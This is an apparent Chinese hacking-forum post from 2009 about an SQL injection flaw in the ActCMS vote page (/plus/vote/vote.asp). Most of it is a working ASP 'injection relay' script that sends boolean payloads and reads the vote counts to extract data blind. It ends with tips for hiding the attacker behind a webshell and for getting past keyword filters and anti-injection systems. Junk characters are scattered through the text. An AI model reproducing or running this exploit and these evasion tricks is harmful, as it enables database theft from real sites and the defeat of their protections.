注入中转的高级应用，actcms漏洞以及其他

admin

看到ninty大牛的blog的一篇文章
9 K  r4 Z) K7 w% m7 I) V6 a+ V" X链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
) H+ m1 p+ d2 I关于actcms漏洞的利用  by 3x qq:381862589
转载请注明以上
) `2 _' c+ R  K' E/ r漏洞文件：
/plus/vote/vote.asp
. E# U8 D9 D# p2 l. q9 y代码： 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   
$ N! s0 O, U) v9 A9 A' h5 T, [
2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   
! C9 ]; G+ S  O9 L1 V! b
3    response.end   
- j' I! [5 A; U. v+ C/ V5 E) [1 e
5 R5 D1 k0 B6 j; Y. p4 ?4    end if   

9 u7 ^- l% T/ Y( J% a' w5    for i=1 to request("voted").count   

6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   

' Q, M0 w4 h( }) H7    next   
9 N3 ?; W5 m8 k# W
8....   
% ]$ K6 _; N! ~  G- a$ c( ^4 T) S
9response.Redirect "index.asp?id="&id&""   
投票结束回跳转回index.asp这个投票结果页面
如果投票成功票数加1
            失败票数不变
* j3 f3 o. E' y如图：
) Z7 B0 F1 m6 [* h1 y: L. ~http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
% t9 M3 J0 z! I$ ]6 {
0 [9 j! t6 q0 e$ y4 u# b2009-12-27 13:20
$ X9 n, T% p  L- S8 _$ J  _
/ m9 b" u' Q! W4 E$ g- c; K" u利用这点来注入，由于ninty大牛学java的，但是java运行环境实在是。。。。不说了

6 \' _% g; ]+ y4 [本帖隐藏的内容需要回复才可以浏览
我们用注入中转来实现这个注入具体代码如下：
: [+ M$ W$ K1 P6 `& e先用寂寞的刺猬大牛的注入中转生成jmget.asp
注入地址：http://localhost/actcms/plus/vote/vote.asp
* k: c  ^/ K/ ^4 |  j" ]注入键值：id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了，不用去判断有什么投票选项
; q) }0 Q5 H8 z& o
然后进行修改变成如下代码： 链接标记预览源代码 链接标记打印链接标记关于01<%
0 t, p1 S; o+ _, N
02JmdcwName=request("jmdcw")

: d% I" \2 i4 e' X( p03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]

04JmStr="id=1&voted=-1 or 1="&JmdcwName

" E( `' q' G7 R+ X+ F" R* {05JmStr=URLEncoding(JmStr)

1 |5 l/ w) k% Z9 |4 P06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"

07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"

; x& O: P- z# E08testurl=testurl & "?" & JmStr
8 o! m# r9 d4 B* d5 E, E8 l- a
/ D3 h3 v3 f" h  D3 M0 G6 q7 ~6 E' N09JMUrl=JMUrl & "?" & JmStr
: P$ H, A  W2 w1 y0 l# D: _
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
% J0 f4 S. w3 @, l+ T
0 O  [  I: |8 i& O; _, Y# b11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
! `# Z" O. b, [4 k5 ]
12JmCok=replace(JmCok,chr(32),"%20")  

7 p3 n6 P4 |9 M; D" W13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
. H* F5 l; L$ t" n2 b- m5 h+ S
( `* i* k* s: r14  
# K; n" J/ W- M: d+ u# q4 ?; |
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
4 F% [  s% s/ y
1 _$ l' h% X) {. ^  ?: N6 ]! C16  
" F/ i, i4 u1 n; r
6 F  A7 |1 O% ]6 O7 N17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
' O3 K9 N# P7 J; V& Y
) |5 X5 d( `; k( t) Y  o18response.write test1&""&test2&""
; f- {0 R" F/ i9 R4 t7 ?" S* `
19  

20if test1=test2 then '如前后记录相等，表示失败
) u0 V# q/ N. {
21  response.write "failed"
' r/ E, p+ J7 V8 N; @: g$ V
. G. F. G' R2 X5 |$ q( @2 T22else

23  response.write "succeed"
( |, h+ s# B3 o. o. I4 d, [$ }
. I, o) Z( Z: ]6 ?24end if  

- z9 D% W( I+ [& [! ]: s25  
' d+ j6 f: n: M. e8 d! v
( y" g$ X4 B3 H' k: Z26response.write "by 3x"
2 C. s5 S+ J- m4 Y8 t) X
27  

# \" Y) @2 k, ^) ~& k28  

: W" ]* C0 V' ^' m29Function PostData(PostUrl,PostStr,PostCok,PostRef)   

: f# }8 C4 {4 g, Q% A" J30Dim Http
) I) Z) j  V  }; m& _
1 X6 S( T1 J& T31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")

6 V, S' T4 _* w% x/ F) n+ o3 S0 M9 B32With Http
4 `, X; G; _8 g. I$ V4 y6 m# D
33  

& o2 }, t8 W& l) w1 O34.Open "GET",PostUrl,False

- o$ T5 Y  Q0 ^35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"

7 f, E+ e8 K; g2 h! ?& p36.SetRequestHeader "Referer",PostRef
) f% ]( O5 P$ B2 @9 D0 U
& f8 i1 N6 I  J: `4 C' S8 \, K$ v, T37.SetRequestHeader "Cookie",PostCok
" k/ A9 `; }. p0 }
6 [1 }! y2 |0 y2 k8 J' {  t38.Send ()

39PostData = .ResponseBody

# P5 Q, J' W. F  X6 W: D# b40End With
1 s6 H& H7 d$ a7 |5 W8 ^
41Set Http = Nothing
! {' f2 U' |0 }/ k
9 l; Y5 \. W2 K$ ^; V1 }# {42PostData =bytes2BSTR(PostData)
/ K; R& e) G# N7 W2 F9 e0 T' G) {: o
* h3 @$ l: @4 q& _; y( l, b43End Function

44  
7 j7 a" K* L' Y) X3 m' b( {. Q
1 \" W) x1 H' s) d9 I* q45  

46Function bytes2BSTR(vIn)
( A9 s" W4 N3 Q3 v0 r* U
5 Z2 }( Z0 m' V  F& a" |- Z4 D47Dim strReturn
: Z5 x2 u8 o  b1 z
48Dim I, ThisCharCode, NextCharCode

+ H' g4 A- n% C) _( O3 N! A& r49strReturn = ""

* K& M8 @, \& S: q50For I = 1 To LenB(vIn)
( f! I$ V/ g4 X: r& D4 g7 V
51ThisCharCode = AscB(MidB(vIn, I, 1))
* o$ d9 ~: h5 L% `
9 K, e2 u9 V; ^0 M) ?52If ThisCharCode < &H80 Then
0 |2 a0 Z, K9 G: v
53strReturn = strReturn & Chr(ThisCharCode)
( x! K) ]  J2 g+ a+ l. g4 Z- P2 [
$ z6 l; R" V1 i+ a54Else

+ D" w1 b7 N! z# ?, j55NextCharCode = AscB(MidB(vIn, I + 1, 1))
& U5 y- x6 v* E
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
) ]  [5 ]0 G. a& W; ]
0 t% _# A+ ^+ J1 C1 Q6 |57I = I + 1
' ~$ [- _9 C! n" X! l/ o, }
58End If

59Next
6 ^/ {4 J( u# I3 u5 H
% k0 ?; t- C; b; s  p60bytes2BSTR = strReturn

61End Function
% C' B# O& }, B
$ u0 F$ r& X* B( V$ l$ r( p62  

63Function URLEncoding(vstrin)  
1 B5 X5 q. h" g2 [% \
7 O  r! F; v6 O$ }9 \5 F# L64strReturn=""

65Dim i

66For i=1 To Len(vstrin)
3 S! S" o( H* u- J% j
' C3 C5 I5 f! ]67ThisChr=Mid(vstrin,i,1)
2 l. x6 u2 D. t) E8 u9 I: t# \& {
) \" \8 J1 @( n3 `68if Abs(Asc(ThisChr))< &HFF Then
5 b8 r% }& r2 ]% P( Z' p1 F/ Y3 c
0 C( d/ \# ~- z3 H/ O3 k. X8 O) O69strReturn=strReturn & ThisChr

. @# b9 n' L- G- }* i. O( F70Else
+ @! [$ q: l9 K( @2 [* Z
5 v: g; ~( e. e/ |- K% \$ W71InnerCode=Asc(ThisChr)

6 p/ X. ~: i5 C$ X" @72If InnerCode<0 Then
  w1 [' t7 k6 I8 T' M
( U$ s. M( F" l: h5 ~& m/ D! \73InnerCode=InnerCode + &H10000
4 ~$ D$ |/ U5 p2 x2 D; v3 \
0 k0 O" |0 a. I- g8 [0 X- F# W74End If
8 N0 L' t2 _8 w6 V+ w
75Hight1=(InnerCode And &HFF00) \&HFF

76Low1=InnerCode And &HFF
' m1 N3 \7 q, c8 q3 l
5 Y; c& e4 c  ]6 s1 ^+ Z5 Y& H77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)

78End if

79Next
8 d% r9 |) S. B( Y/ e8 v2 G
' g0 ^" K# o0 L& o2 N80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
5 P) x1 G6 c* U' f
81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符

) e- N' b6 f# b: @82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码
, W+ o$ P8 q  g  R, f
83URLEncoding=strReturn

84End Function
$ f9 L. X5 Y5 l( w9 {$ W( s7 j
' D' z; `. R, K1 D. J9 Z85  
2 v3 i" J# b- K/ \0 N$ x) L0 }
  _9 [  i. B* Q2 y+ s86function getSt(body)

87  startpot=instr(body,"投票人数：")+len("投票人数：")

. x) T8 I8 d! q" a. u& D+ ~9 R88  endpot=instr(startpot,body," ")
% F8 |1 a+ s6 i% _7 w9 i# k
89  getSt=mid(body,startpot,endpot-startpot)
# i8 t6 f* O9 J/ x( P
90end function
. O8 L6 N( O' e2 q
91%>
* w3 E) z/ r- L注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
测试下效果：
6 J- L$ W5 @5 I3 Q2 z投票成功：
' s% R2 X9 w$ d/ e- @: Ehttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
4 Q& h8 x/ \' z8 v- R9 ~
8 L9 n" b& i( @3 @& b2009-12-27 13:29
投票失败
. n  t; _* k3 t% d' vhttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)

0 D: |+ ]- v% p; X0 R4 ~2009-12-27 13:29
-------------------------------------------------------------------------------
, J, s" n# E3 F. Q5 `( R$ ?再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因，明小子等注入工具是多线程的，而这个投票人数的变量没进行锁的机制。。。所以
很抱歉。。。只能用单线程工具去注入。。。。。
所以失败。。。不好意思。。。
! U3 s; E1 H& \/ g7 e2 L' Q- x-------------------------------------------------------------------------------

注入中转的一些其他应用
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
' x( z/ g, F; P1.普通的get型的注入点如果中转一下，放到我们的webshell上跑，有效的隐藏我们的id
2.post注入转成get型的注入，方便我们使用工具来跑
( M& `' r5 G4 w: k! I( s% d3.在一些cms或者一流拦截系统，过滤了selelct等关键词，这里的过滤指的是replace，我们可以在代码中进行转化，replace(jmstr,"select","sselectelect")，这样我们就可以用工具了，对于一流拦截的突破就replace(jmstr,"%20","%09")
4.在某些防注入系统中的突破，上次我遇到一个防注入，大家应该也很熟悉，可以通过id--->%69d来绕过，但是如果是post的呢？我把他中转成get型的，但是注入键值我改成%69d=，成功绕过

# j. G/ v9 v4 m2 i5 z' {% a8 m